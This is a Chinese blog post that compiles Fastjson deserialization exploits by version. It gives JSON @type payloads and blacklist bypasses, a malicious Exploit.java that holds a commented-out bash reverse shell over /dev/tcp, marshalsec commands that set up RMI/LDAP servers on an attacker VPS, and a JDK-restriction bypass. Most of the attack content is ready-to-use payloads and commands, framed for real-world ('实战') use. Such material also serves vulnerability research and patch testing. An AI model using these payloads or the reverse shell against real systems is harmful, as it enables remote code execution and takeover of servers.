美文网首页TIDE_网络安全
Fastjson反序列化漏洞利用

Fastjson反序列化漏洞利用

作者: Tide_诺言 | 来源:发表于2020-04-18 14:31 被阅读0次

    前言

    Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
    项目链接https://github.com/alibaba/fastjson/
    本次对互联网上公开的大部分Fastjson反序列化漏洞利用进行总结,有些exp需要特殊环境的配合。

    影响版本

    fastjson<=1.2.24

    Fastjson1.2.24版本爆出了第一个反序列化漏洞。
    exp:

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
    

    fastjson<=1.2.41

    第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
    com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
    exp:

    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
    

    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

    fastjson<=1.2.42

    fastjson在1.2.42版本新增了校验机制。

    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(className.length() - 1))
        * PRIME == 0x9198507b5af98f0L)
    {
        if ((((BASIC
            ^ className.charAt(0))
            * PRIME)
            ^ className.charAt(1))
            * PRIME == 0x9195c07b5af5345L)
        {
            throw new JSONException("autoType is not support. " + typeName);
        }
        // 9195c07b5af5345
        className = className.substring(1, className.length() - 1);
    }
    

    如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
    还把黑名单的内容进行了加密,防止安全人员进行研究,增加了研究的门槛。
    但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
    绕过方法,在类名外部嵌套2层L;。
    原类名:com.sun.rowset.JdbcRowSetImpl
    绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
    exp:

    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
    

    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

    fastjson<=1.2.43

    fastjson在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。
    绕过方法:根据fastjson判断函数,[开头则提取类名,且后面字符字符为"["、"{"等,即可正常调用。
    exp

    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
    

    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

    fastjson<=1.2.45

    前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
    使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
    由于在项目中使用的频率也较高,所以影响范围较大。

    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
    

    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

    fastjson<=1.2.47

    去年护网爆出的漏洞,对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
    loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。
    exp:

    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
            "autoCommit": true
        }
    }
    

    fastjson<=1.2.62

    基于黑名单绕过

    {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
    

    fastjson<=1.2.66

    关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
    exp:

    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
    
    {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
    
    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
    
    {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
    

    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

    fastjson<=1.2.47漏洞复现

    对fastjson<=1.2.47通杀漏洞进行复现,autoType设置为false仍能利用。

    复现环境

    操作系统:win7
    fastjson版本:fastjson-1.2.24
    服务器中间件:Apache Tomcat/8.5.0
    jdk版本:8u172

    基础知识

    反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
    RMI是一种行为,指的是Java远程方法调用。
    JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
    ldap指轻量级目录访问协议。
    具体可参考https://xz.aliyun.com/t/7079

    存在java版本限制:
    基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
    在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
    基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
    在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
    可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

    环境搭建

    下载war包后,放到tomcat的webapps目录下,自动部署war包。



    启动tomcat服务,访问对应目录。


    漏洞利用

    1、首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)

    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Exploit{
        public Exploit() throws Exception {
            Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
          //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }
    

    使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

    javac Exploit.java
    

    把生成的Exploit.class文件,放到公网vps的web目录下,可以通过互联网的http服务访问到。
    2、使用marshalsec启动一个RMI服务器,或者ladp服务器。
    下载地址:https://github.com/mbechler/marshalsec
    下载后切换到marshalsec目录下使用maven进行打包。
    mvn clean package -DskipTests
    

    把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
    可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
    

    实验环境的jdk版本为8u172,大于8u121小于8u191,理论上rmi无法使用,ldap可以使用。
    发送exp

    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "rmi://x.x.x.x/:9999/Exploit", 
            "autoCommit": true
        }
    }
    

    rmi服务接受到了请求,但并没有执行计算器的系统命令。




    使用ldap服务,进行漏洞利用。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
    
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "ldap://x.x.x.x:9999/Exploit", 
            "autoCommit": true
        }
    }
    

    成功执行了系统命令,弹出了计算器。



    jdk版本限制绕过

    高版本的java对jndi注入进行了限制,由于环境的不同,存在一些方法进行绕过,这里推荐下国外Michael Stepankin大牛的方法。https://www.veracode.com/blog/research/exploiting-jndi-injections-java
    1、下载利用代码
    修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。可以修改RMI远程监听的端口,和执行的系统命令。


    使用mvn打包。
    打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
    mvn clean install
    

    把生成的文件上传到公网vps上,建立一个rmi服务,Djava.rmi.server.hostname指定的是公网vps地址。

    java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
    

    使用漏洞exp请求rmi服务

    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
            "autoCommit": true
        }
    }
    

    成功执行系统命令,弹出计算器。



    绕过了java版本的rmi服务的限制。

    参考链接

    https://xz.aliyun.com/t/7079
    https://www.veracode.com/blog/research/exploiting-jndi-injections-java
    https://baijiahao.baidu.com/s?id=1648108811568362514&wfr=spider&for=pc
    https://cloud.tencent.com/developer/article/1553664
    https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
    https://www.freebuf.com/column/231446.html
    http://www.liuhaihua.cn/archives/631786.html
    https://www.freebuf.com/column/207439.html
    https://xz.aliyun.com/t/7264

    相关文章

      网友评论

        本文标题:Fastjson反序列化漏洞利用

        本文链接:https://www.haomeiwen.com/subject/zxoxnctx.html